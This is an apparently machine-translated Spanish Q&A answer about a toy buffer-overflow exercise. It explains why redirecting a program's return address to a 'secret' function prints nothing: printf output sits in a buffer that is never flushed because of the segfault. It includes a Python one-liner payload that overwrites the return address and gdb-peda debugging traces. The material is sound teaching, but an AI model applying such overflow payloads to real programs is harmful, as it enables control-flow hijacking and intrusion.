Esta fue una pregunta divertida para explorar.
Probé el exploit y obtuve el mismo resultado. Acabo de recibir un SegFault pero esperaba "función secreta ingresada" y un SegFault.
$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)
Abrí el programa usando gdb y traté de entender lo que está sucediendo. Establecí un punto de interrupción en return_input .
$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt
Mira el siguiente estado:
[-------------------------------------code-------------------------------------]
0x80484ca <return_input+38>: add esp,0x10
0x80484cd <return_input+41>: nop
0x80484ce <return_input+42>: leave
=> 0x80484cf <return_input+43>: ret
0x80484d0 <main>: lea ecx,[esp+0x4]
0x80484d4 <main+4>: and esp,0xfffffff0
0x80484d7 <main+7>: push DWORD PTR [ecx-0x4]
0x80484da <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>: push ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1
0012| 0xffffcc88 --> 0x0
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>: add esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0
0028| 0xffffcc98 --> 0x0
[------------------------------------------------------------------------------]
Observe que la siguiente instrucción que se ejecutará es la instrucción ret . La parte superior de la pila tiene la dirección de secreto . Esto es exactamente lo que queríamos. Por lo tanto, no hay problemas hasta aquí.
El siguiente es el estado gdb-peda justo antes de que se ejecute printf dentro de la función secreta.
[-------------------------------------code-------------------------------------]
0x804848e <secret+3>: sub esp,0x8
0x8048491 <secret+6>: sub esp,0xc
0x8048494 <secret+9>: push 0x8048580
=> 0x8048499 <secret+14>: call 0x8048340 <printf@plt>
0x804849e <secret+19>: add esp,0x10
0x80484a1 <secret+22>: nop
0x80484a2 <secret+23>: leave
0x80484a3 <secret+24>: ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")
Ahora, printf será ejecutado. La parte superior de la pila tiene la dirección de la cadena que tiene que imprimir. Todo bien hasta ahora.
Ejecuté printf y verifiqué la salida de "función secreta ingresada".
gdb-peda$ ni
Aquí está el problema. Incluso si se ejecutó printf, la cadena no se imprimió en la consola.
Entonces, podemos concluir que la explotación se realizó correctamente.
Entendamos por qué printf no imprimió esa cadena en la salida de la consola.
printf y muchas de estas funciones de salida funcionan de la siguiente manera.
-
Cuando se ejecuta printf, el contenido que contiene es no impreso directamente en la consola. En su lugar, se almacena en un búfer.
printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)
-
Más tarde, el búfer se vacía y todo se imprime en la consola.
-
Como se explica en esta respuesta, la el búfer se vacía solo cuando se alcanzan ciertas condiciones.
- El búfer se vacía si está lleno.
- Se vacía si se encuentra una nueva línea.
- Se vacía si el programa llega a su fin.
- Se descarga si la forzamos a usar la función fflush .
Volviendo a la pregunta en cuestión,
-
El printf ("función secreta ingresada") se ejecuta y la cadena se coloca en el OUTPUT_BUFFER.
Si el overflowtest terminó normalmente, el OUTPUT_BUFFER se habría vaciado. Pero debido a la explotación, se terminó debido a un SegFault. Por lo tanto, el tampón no se tiró. Entonces, no viste "función secreta ingresada".
La función pone no funciona así. Agrega un carácter \ n / nueva línea a la cadena. Entonces, esa cadena se ve inmediatamente en la consola.
Entonces, si desea ver "función secreta ingresada", agregue un carácter nueva línea a ella - "función secreta ingresada \ n" o añada un fflush (stdout) despues de printf.
Espero haber respondido a tu pregunta.
Si algo no está claro, por favor deje un comentario a continuación.